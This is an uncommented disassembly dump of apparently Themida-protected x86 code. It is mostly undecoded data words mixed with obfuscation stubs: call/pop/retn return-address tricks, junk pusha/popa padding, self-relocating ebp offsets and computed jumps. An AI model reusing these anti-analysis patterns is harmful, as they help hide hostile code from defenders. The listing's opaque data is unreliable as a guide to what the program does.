82B144B4h dd 1EA59101h, 1693A0FCh, 1DAA1584h, 5F472E9Eh, 0F44F6F9Fh dd 10B5C6FBh, 9F6DA97Ah, 78BE2E92h, 0C526E387h, 0F0538955h dd 1CA806A9h, 6DA74354h, 9EB01F86h, 0CA94AADAh, 6E83194h dd 91931CA8h, 0A806EF32h, 92BD8E1Ch, 66D2CDF8h, 64911A8Eh dd 0A2BC9303h, 7508D6B5h, 9B2A0380h, 2CED976h, 5F0B24F5h dd 5C0D4A14h, 2953EF4Dh, 0AB9C806Ah, 4003DB0Bh, 16A0924Fh dd 13F93D0Eh, 3E2C9C1Eh, 0F3066ECDh, 773BB2B6h, 0ACA9B59Ah dd 0AE6539C0h, 0C6A54523h, 546ADA59h, 296DDD5Fh, 0FD78B654h dd 6D415A8Ch, 428538BFh, 6FC451C1h, 899A9C0Ch, 847FB727h dd 9E1DAA15h, 5BD8472Eh, 0D0E1ABEBh, 1787E975h, 69012E1Fh dd 839h, 0C1426F00h, 2F81B951h, 5ACA244Bh, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 3468783Ch, 89000008h, 0E2892414h, 4C281h dd 0EA830000h, 24148704h, 53A6685Ch, 3C890000h, 68C66824h dd 14890000h, 7CB85024h, 400C031Ch, 0F593548h, 0E8C1657Eh dd 233B0508h, 815005B0h, 7A792434h, 815F2A9Ah, 9A7A79F7h dd 0F668582Ah, 8900002Fh, 4832424h, 575A0424h, 0DE240481h dd 8F4C6655h, 0BD550842h, 4C6655DEh, 5D086A29h, 5624148Bh dd 0C681E689h, 4, 4C681h, 34870000h, 34FF5C24h, 0C4835F24h dd 0D8E8E904h, 82F9FFFBh, 93F0E22Fh, 3EA7BCD3h db 0CFh, 40h, 0E3h ; --------------------------------------------------------------------------- loc_5C3FA7: ; CODE XREF: Themida_:loc_5C3A78j mov eax, 619A4DBh add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 32D07A66h, 3CCE9932h, 253EAA25h, 7CB142CAh, 2D2290C7h dd 7D64CFE1h, 1E59221Eh, 66118556h, 45EAF48Fh, 15FA55D3h dd 3A27AA78h, 6417AC0Dh, 4AA1AFEFh, 61FC0BADh, 24D56A4Ah dd 4426D601h, 75FF40DCh, 6DA14D00h, 18D6F7CEh, 11F6C82Bh dd 5FAEB268h, 1F5ADEAFh, 7A579F79h, 130FBABEh, 56EF4BF8h dd 41802100h, 279D858Dh, 6A0615h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8B66D9C3h, 18589DEh dd 90061501h, 88FEBB66h, 0EE950h, 5E5C0000h, 6B408742h dd 8BAB01F3h, 0A4840F68h, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0DF04A260h dd 1EB576F0h, 8D2915C2h, 61506F1h, 33B18D09h, 6A0615h dd 10619D8Bh, 6A0615h, 0C7DF8166h, 75858D47h, 0F90619A7h dd 8905C083h, 1510FD85h, 0BFB75006h, 6A240489h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 6BFFC351h, 5DEBCC90h, 26B18529h, 0B5890615h, 6152DE9h dd 8B66006Ah, 0F006ADAh, 95FFD9BFh, 6152679h, 0B8F0Fh dd 6E90000h, 41000000h, 322908D2h, 158D8DBEh, 6A06189Ch dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 6047C353h, 1BDB589h, 8D8B0615h, 61517C9h dd 66D1FF61h, 6742CF81h, 2DB5BD83h, 0F010615h, 5F85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 26A401Ch, 346DBD8Bh, 0F88B0615h, 50FC8A90h, 6860F90h dd 29000000h, 151675BDh, 4D95FF06h, 6A06151Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0F383C351h, 5F569C19h, 0D01E9h, 0E800h, 815D0000h, 19A77FEDh dd 198D0F06h, 0E8000000h, 0Dh, 0FFB48686h, 85A9B54h, 79526621h dd 298D893Bh, 5B061517h, 6840Fh, 95290000h, 6152D61h, 88F9858Dh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 9A04BFC3h, 1DDD8D89h, 11E90615h, 0BE000000h dd 37DCBEF5h, 64AB9C4Bh, 0A54DEF2Dh, 0A8750B8Dh, 89D98B50h dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0CA724CC3h, 0BC69122Eh, 219D8B15h, 64061503h dd 35FFh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0B2B0CCC3h, 0E3207BCDh, 0ED8D89E2h dd 8B061518h, 15269DBDh, 25896406h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_5C4297 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4297 proc near ; CODE XREF: Themida_:005C428Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5C4297 endp ; --------------------------------------------------------------------------- db 1Fh dd 8AD88BC1h, 3585FFFEh, 6A061515h, 0BE9FFh, 7FB40000h dd 2F0C3787h, 687C2E4Ch, 0EDB5FFC6h, 6A061533h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 465EC353h, 0FF91EEB5h, 1508BD95h, 117E906h, 0B00000h dd 2C65BD8Bh, 70E60615h, 8D0Fh, 0BF0F0000h, 0E971E4DEh dd 14h, 806B0F15h, 716A58D6h, 4733C637h, 63FC1642h, 0E30EEEA8h dd 830F613Ch, 0E1h, 0CF781F8h, 0F0E79B3h, 840FC8B6h, 3 dd 0BA64DF80h, 6, 1DC99509h, 85290615h, 6150109h, 0B589C18Bh dd 6151DFDh, 3104E8C1h, 15280DBDh, 0E2F76606h, 13E9h, 68A15000h dd 7BCE50B5h, 0AE01AC6Bh, 54FA3A4Eh, 0D8513194h, 8531C82Bh dd 615037Dh, 6E9D18Bh, 6D000000h, 1FE24CC3h, 0E918h, 858B0000h dd 61519C1h, 83DA8B66h, 0B58907C0h, 61512ADh, 911BD8Bh dd 0C0830615h, 0C58D0900h, 3B06152Fh, 10830FD0h, 66000000h dd 3A05F381h, 44E9h, 0FDBD3300h, 8B061516h, 1511698Dh dd 159D8906h, 83061521h, 840F01E1h, 29h, 35207ABFh, 69A5836Bh dd 0FE061511h, 6840Fh, 9D890000h, 61524B1h, 19C19589h dd 0BD230615h, 61518FDh, 0E9h, 0C7B58D00h, 0E9061920h dd 7, 0F11B9F04h, 6AF63540h, 0FFDA8A00h, 152E2195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 5DD68F33h, 0B916FAECh, 7FCh, 6E9h, 11187400h, 83F3CED8h dd 9D8BFCE1h, 6152DB9h, 898589FCh, 2B06150Dh, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 90CAF4DAh, 0BB7804D5h, 14E29E2Ah, 61EBBB66h, 0CE9D22Bh dd 0F4000000h, 785F1A21h, 0CBABC179h, 0AD299CD1h, 0E8D1C233h dd 0E983D003h, 6AF47504h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 2E45C353h, 0F8062CDBh dd 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 8BCF8F02h, 52AC06FCh, 95092557h dd 6150771h, 2961BD8Bh, 958B0615h, 6152721h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7BC35646h, 0C18D89AEh dd 8B06150Fh, 1504CD8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 2E388FB5h, 0A851E150h dd 2DA19D89h, 8B500615h, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 6AF88Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 22D51EC3h, 3959D8Bh, 9D8B0615h dd 6151345h, 18A9BD83h, 0F000615h, 9684h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0CD22884Ch, 834B9CEBh, 0BB663735h, 0B8711Fh, 8D000000h dd 154F9E8Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0FE901C6h, 88000000h, 0F1FF3770h dd 1573757Ch, 8226366Bh, 0E1FFE3E6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 2DC35747h, 352D7A32h, 27AC71B1h dd 4DBD8BE1h, 66061502h, 835B3DBFh, 151115BDh, 840F0006h dd 379h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AC35242h, 83FA9F1Dh, 151115BDh, 840F0106h, 368h dd 1FB1BB66h, 1115BD83h, 0F030615h, 32186h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 5B3328Ah, 8E860h, 1E7B0000h, 673CD488h, 0BF60DD96h dd 5F2B0397h, 0F4DF8166h, 665F611Ch, 0BB3D98Ch, 6604E180h dd 0FCEDD381h, 840FC90Ah, 116h, 87EBBB66h, 249D858Bh, 6A0615h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 2F104DC3h, 0CD18589h, 85330615h, 61519B5h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C2C35242h, 7139A374h dd 66739AA4h, 5CB7F781h, 0D7BB6690h, 6A905029h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 0A652C352h, 0D355F054h, 3BA8A69Eh, 11E9h, 10C7D300h dd 0D2A96979h, 3034CAE0h, 5B3A6938h, 6A12EBh, 921BD23h dd 58680615h, 50ADC7ABh, 4876BF66h, 2404815Bh, 525758A7h dd 24019529h, 95FF0615h, 6150DADh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 0B6C35242h, 0E5BD8BBDh, 8906150Ch dd 18BF9985h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 7D8D8997h, 0E9061505h, 151h, 858BFB8Bh dd 618BF91h, 810CD381h, 0C740E1h, 18h, 2A2D8529h, 8D890615h dd 6151A05h, 0BF95B58Bh, 0BF0F0618h, 45858BF8h, 0B06150Ch dd 1504B9BDh, 89FE8B06h, 0CF816606h, 858B7CFDh, 615249Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 2EC35242h dd 0D60DE9D3h, 0F79FE43h, 385h, 49F38000h, 89FBB70Fh, 66500446h dd 896701BBh, 0BF0F2434h, 0DB8166D9h, 0B5FFCFCFh, 618BF91h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 86C35040h dd 2E68EE10h, 0F1B393Dh, 28Fh, 81F88A00h, 3ED12434h, 6A1B26h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 4A32DDC3h, 5C433CD0h, 8D67B3D8h, 18BF9985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4D5F5564h, 18ADE515h, 10E94EB0h, 58000000h, 42971A69h dd 378950C6h, 632C14Eh, 9092438Ah, 9050D88Bh, 0DAD95FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0E484CFC3h, 80E78166h, 0C38161BDh, 7E942B9h dd 2EB98589h, 85C70615h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 10C35545h, 7D4E7B03h, 8B332880h dd 151005BDh, 99BD8306h, 618BFh, 20840Fh, 0E9530000h, 8 dd 8EF9DC28h, 0BB7CCFAAh, 0B589515Fh, 6152DE9h, 1FE95Fh dd 0BF660000h, 3050F260h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 6AF5C0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 4DE913C3h, 0FEBF3C6Fh dd 837C9B1Ch, 151115BDh, 850F0306h, 444h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 18h, 0F6C35343h, 0BD21A1FBh dd 10FD8D89h, 0BD830615h, 618BF99h, 11840F00h, 6A000004h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0F545C351h, 0B97F8693h, 2B159D8Bh, 0B5FF0615h dd 618BF99h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 8AC35747h, 0B1F39B5Bh, 0BD2B5DA7h, 61525C5h dd 26359531h, 95FF0615h, 61510E1h, 9573BB66h, 0BF8DB58Bh dd 9D030618h, 6150679h, 106C7h, 9D310001h, 61504E5h, 6FBF5096h dd 9645BF59h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 52C35040h, 405C8B6Fh, 1449BD09h, 0BE90615h, 45000000h dd 0D88EB7A2h, 6CBC6AA5h, 0B5FFAAD9h, 618BF99h, 0FF25D780h dd 1506A195h, 9D895606h, 615006Dh, 8DB58B5Bh, 6A0618BFh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0F3C9C356h, 0F018C7Fh, 680h, 0D6EB8100h dd 812683A8h, 22AE98C7h, 59858B73h, 6A061500h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0AD7FC353h, 85D5D31Ah, 0E9A2E588h, 0Dh, 4581E395h, 3572B953h dd 0A465D20h, 0C4868974h, 66000000h, 4EACC781h, 2721958Bh dd 8B600615h, 150C89B5h, 95BD8B06h, 61061523h, 0F804C283h dd 6A205089h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 7E8CC351h, 13C697BEh, 619D8B1Bh dd 8D061500h, 18D45885h, 0E99D8B06h, 89061503h, 0B886h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 19AA6880h, 22F59D89h, 0DD8A0615h, 8B66006Ah dd 99B5FFFEh, 6A0618BFh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 2BEAC355h, 1D4D95FFh dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 6116B1C3h, 3B008F8Dh, 2E119D8Bh, 89500615h dd 0BD232434h, 61507E5h, 0BF99B5FFh, 6A0618h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3B8D55C3h dd 0BFF59958h, 72995FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 2AC01EC3h, 65BD3352h dd 0BF06150Dh, 1F9DA145h, 65BD83h, 0F000615h, 4184h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0D84DC8DCh, 585901Ah, 85314BB7h, 61518E5h, 7A6EBB66h dd 2B57BB96h, 565007CBh, 965BCCB3h, 3429BD8Bh, 0B5FF0615h dd 618BF99h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 11C35040h, 2D6759A5h, 608AE520h, 13BB6643h, 3995FF0Dh dd 6A061504h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 9DCAC350h, 0DBA38E90h, 0FFD8B70Fh dd 18BF99B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 95FF5363h, 6150DCDh, 2F6D9D01h, 0BD830615h dd 615285Dh, 7D840F02h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4EC357h dd 0F496A40h, 1984h, 14E900h, 0DCC70000h, 5999A46Eh, 0BEE58CA3h dd 17698F4Ch, 1F16B7BAh, 0F568A2Ch, 8B5BDAB7h, 15284985h dd 38B0F06h, 0F000000h, 0C6D9B7h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 1ECEDD81h dd 0F781F8E5h, 81EE912h, 23F585C7h, 615h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 5B9EEEC3h, 0D98B694Fh, 0FFF432E9h, 52006AFFh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0BD8B2B53h, 6152835h, 0BF66C18Bh db 0Bh, 69h ; --------------------------------------------------------------------------- loc_5C4EAA: ; DATA XREF: Themida_:0057CDF0o lea eax, [ebp+615279Dh] push 0 push ebp call sub_5C4EBB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4EBB proc near ; CODE XREF: Themida_:005C4EB3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5C4EBB endp ; --------------------------------------------------------------------------- mov word ptr [ecx-1C3B7C74h], fs cmpsb sbb ebp, [esi+69h] pusha xor [ebp+615251Dh], eax jno loc_5C4EE8 mov [ebp+6153001h], eax loc_5C4EE8: ; CODE XREF: Themida_:005C4EDCj popa nop pusha mov ebx, edx pusha mov edx, 5ED21DB5h popa popa push eax mov bh, 0F4h nop push 0 push edx call sub_5C4F04 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C4F04 proc near ; CODE XREF: Themida_:005C4EFCp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5C4F04 endp ; --------------------------------------------------------------------------- dd 9531870Fh, 6151821h, 0DB81006Ah, 516219BBh, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 85895EC3h, 6152249h, 0B6D2858Dh, 6A0619h, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 0C08323C3h dd 11E805h, 1C8C0000h, 0F6500DEBh, 8384CC9Bh, 8C1043Ch dd 66E523CEh, 5BF49ABFh, 6A905090h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0E5E3C351h dd 8509666Bh, 61500E1h, 2F559589h, 6A0615h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h, 12E97B6Ah dd 0CF000000h, 6FDBBF29h, 2D585FBAh, 787A6F1Bh, 2FAA6E4Ah dd 0F781667Ah, 6AE6D3h, 20D5BD8Bh, 95FF0615h, 6152679h dd 161DB589h, 8D8D0615h, 6189C15h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0CDC35343h, 1D3977ABh, 0C5DB0D0Ch dd 6AD1FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h dd 56460000h, 3544F7C3h, 600CFAC2h, 290940F5h, 152EFD9Dh dd 0B5BD8306h, 106152Dh, 97850Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 8B2FA6C3h dd 0FB8B66DEh, 6A026Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 864EE2C3h, 8B1881CCh, 1505DDBDh dd 8BBF6606h, 4895057h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 22024028h, 0F320F781h dd 0BB664EB5h, 0AE9ECEEh, 0F7000000h, 59BF37B0h, 1125E359h dd 4D95FF43h, 8B06151Dh, 150A4DBDh, 0DC4E906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5C5106: ; DATA XREF: Themida_:00579B10o call $+5 pop ebp sub ebp, 619B6DCh push 0 push edx call sub_5C511D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C511D proc near ; CODE XREF: Themida_:005C5115p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5C511D endp ; --------------------------------------------------------------------------- pop esi sbb bl, cl mov edi, [ebp+61526C9h] jmp loc_5C5143 ; --------------------------------------------------------------------------- db 0BFh dd 7D8FA095h db 17h, 6Eh, 0EDh ; --------------------------------------------------------------------------- loc_5C5143: ; CODE XREF: Themida_:005C5136j lea eax, [ebp+61888F9h] push eax mov [esp], eax push 0 push ebp call sub_5C5158 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C5158 proc near ; CODE XREF: Themida_:005C5150p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5C5158 endp ; --------------------------------------------------------------------------- dd 0BE1AC69Ch, 8E91Bh, 0DB60000h, 466F976Dh, 0FF6456F4h dd 35h, 820F6000h, 2, 6461CE8Bh, 2589h, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 8B181EC3h, 89907F67h, 1500618Dh, 29525006h, 15262DBDh dd 0FF5B5F06h, 15153585h, 6CCF8006h, 0BB66FF6Ah, 0B5FF6C68h dd 61502B5h, 5870Fh, 8BBB0000h, 0FF09F039h, 1508BD95h dd 125E906h, 0D7810000h, 9CD6505h, 0E6F500B0h, 0EE870h dd 71870000h, 72F6E92Ah, 82C654BCh, 51EFE146h, 898D0150h dd 5F061533h, 6671E45Fh, 3CE252BBh, 0F0830F61h, 2B000000h dd 1517259Dh, 0C8B60F06h, 6BAFB8Bh, 53000000h, 0F99D8B5Fh dd 8B06152Ah, 59589C1h, 89061525h, 151E7D85h, 4E8C106h dd 0F766FAB3h, 599D01E2h, 2B061506h, 0DEBF0FC8h, 0D18BDE8Bh dd 13E9h, 867B7B00h, 6EAB5E97h, 99191639h, 0F1ED4C04h dd 7C2BD2E2h, 5E9h, 0F7816600h, 858B5A56h, 6150C8Dh, 6860F60h dd 31000000h, 1511B9BDh, 8E906h, 82AA0000h, 0AF0A4342h dd 83614F0Bh, 5BB07C0h, 833FEC0Fh, 8B6600C0h, 0FD03BFBh dd 2483h, 11E800h, 0D3D80000h, 483E3613h, 6E6199DCh, 37349FD7h dd 662AC893h, 5F018BBFh, 3AE9h, 0CDBF6600h, 0E58D8B23h dd 29061515h, 150BB1B5h, 1E18306h, 21840Fh, 31570000h dd 150D718Dh, 0A5835F06h, 61515E5h, 66D780FEh, 9589DA8Bh dd 6150C8Dh, 0E9DA8Bh, 8D000000h, 192A47B5h, 11E906h, 0A0450000h dd 8AA2361Fh, 10EB21C7h, 233B6E9Dh, 66AC0F00h, 6A886ABBh dd 0FFD98B00h, 152E2195h, 398D8906h, 0B906152Fh, 842h dd 13E9h, 75A6B500h, 1F64CDE5h, 63270E6Ah, 3BAF3A65h, 55AD6B2h dd 0E9FCE183h, 6, 0DD80B8AFh, 8BFC4237h, 1506B1BDh, 0B806h dd 95290000h, 6151391h, 0BAh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 85F74023h dd 0DB2BBF66h, 2CDBD8Bh, 33AD0615h, 3E8D1C2h, 4E983D0h dd 0B70FF475h, 50006ADAh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 706143EFh, 369C88D6h dd 880D8E11h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 6B2AC351h, 0BB66AF5Dh dd 958BFB6Bh, 6152721h, 8E8F88Bh, 0DE000000h, 1999E45Dh dd 0E8AA83CAh, 10h, 0B0E1E1C0h, 5F059D71h, 0FA0140BDh dd 0F7D471C9h, 0B204BF66h, 8D8B5B5Bh, 61504CDh, 325BB66h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BF0F5818h dd 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0F54234ACh, 1D48352Ah, 0A9BD83C5h, 61518h dd 7C840Fh, 14E90000h, 0C3000000h, 0EED2B7C6h, 0D48C44B0h dd 6A108220h, 3AB19CF9h, 0B82CA453h, 0 ; --------------------------------------------------------------------------- pusha xor [ebp+6152719h], edi popa lea ecx, [ebp+6154F9Eh] push 0 push eax call sub_5C54C1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C54C1 proc near ; CODE XREF: Themida_:005C54B9p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5C54C1 endp ; --------------------------------------------------------------------------- db 0E9h, 14h, 0FAh dd 0BD8B1A6Eh, 6152D6Dh, 6AE1FFh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0FB8B17C3h, 5E9h, 1166EE00h dd 0BD83149Eh, 6151115h, 78840F00h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0EB11C353h, 0CCA4F320h, 0E4BF3A5Fh, 836F1DF8h, 151115BDh dd 840F0106h, 45Eh, 24A59589h, 0BD830615h, 6151115h, 15860F03h dd 23000004h, 15101D9Dh, 6A6006h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0CE972C3h, 35000000h dd 6673B013h, 826B61CCh, 0E964F239h, 0Ch, 0C3A61B5Eh, 8EA6DC7Fh dd 0AA57A119h, 66D98C66h, 0E180D88Bh, 7B6DBF04h, 0C90A3421h dd 146840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 160424h, 51410000h, 172CFAC3h, 13E8h, 3B814100h, 144F505Ch dd 4F7C6370h, 0F6D4CA80h, 328D82B7h, 59CB8166h, 858B5BE8h dd 615249Dh, 850EF0BBh, 0B585337Ch, 6A061519h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0AE56C351h, 0B65CE155h, 0E4738EE0h, 0FFAB70Fh, 8B90FFB7h dd 0BE950F8h, 47000000h, 9DE1649Fh, 5410A75h, 6A906D0Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 4F2C357h, 0CDBE742Fh, 8589272Fh, 61514D9h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 7A02A8C3h, 0E039009Dh, 3D8589EBh, 31061502h dd 150BDD9Dh, 0CCAF6806h, 8B661069h, 243481F9h, 1076CF50h dd 0DE9h, 38FA1600h, 0EB316E73h, 41A00700h, 95FF9343h dd 6150DADh, 1CF1B589h, 85890615h, 618BF99h, 7C18531h dd 26E90615h, 6A000002h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0F5C6C356h, 8C937BD6h dd 0BF91858Bh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 55EC26C3h, 1800C7h, 51600000h, 16158D29h dd 665E0615h, 61119EBEh, 0BF95B58Bh, 0E9BF0618h, 8B47436Fh dd 150C4585h, 0A8E78106h, 8915FB74h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 8C5F2C0h, 0E2B5E292h dd 0B503602Eh, 61505B9h, 89619BB2h, 15018DB5h, 9D858B06h dd 60061524h, 859501F9h, 6106151Dh, 6A044689h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0FA1DC357h, 0DD0DA6FDh, 0F525096h, 0A81h, 5E900h, 771E0000h dd 0FDEAC32h, 0DE8B6631h, 0E950585Ah, 10h, 7B5C14FBh, 0FE0BA0F1h dd 614F6371h, 0DF3999C4h, 56006A96h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 606B2F41h dd 14E91Ah, 235E0000h, 29E5735h, 2BC81AE0h, 6E271392h dd 8658B2FDh, 0DE8D226h, 83000000h, 28469B20h, 77F4AD09h dd 797F4638h, 10E9h, 62E89F00h, 98856514h, 0E5C70E4Ah dd 57FA8F07h, 0B5FF5F3Dh, 618BF91h, 0D5958B60h, 8106152Ah dd 0C3BCDFE3h, 9D8B6176h, 615024Dh, 4E8h, 1F03FF00h, 8DB46000h dd 0BB665061h, 448B7545h, 8A570424h, 8B5BDAh, 8B665250h dd 5A310FF9h, 24448958h, 61BF6604h, 6A583Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 6C6E34C3h dd 2435B529h, 858D0615h, 618BF99h, 1E718D09h, 0BF660615h dd 8B506E06h, 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 40C35545h, 8597D33Ch, 7E9D8F2h, 0F000000h dd 0FF21935Eh, 95FF13BBh, 6150DADh, 0ECF38166h, 8D896190h dd 6150AA9h, 111585C7h, 30615h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F9F489C3h dd 0BF99BD83h, 0F000618h, 3384h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 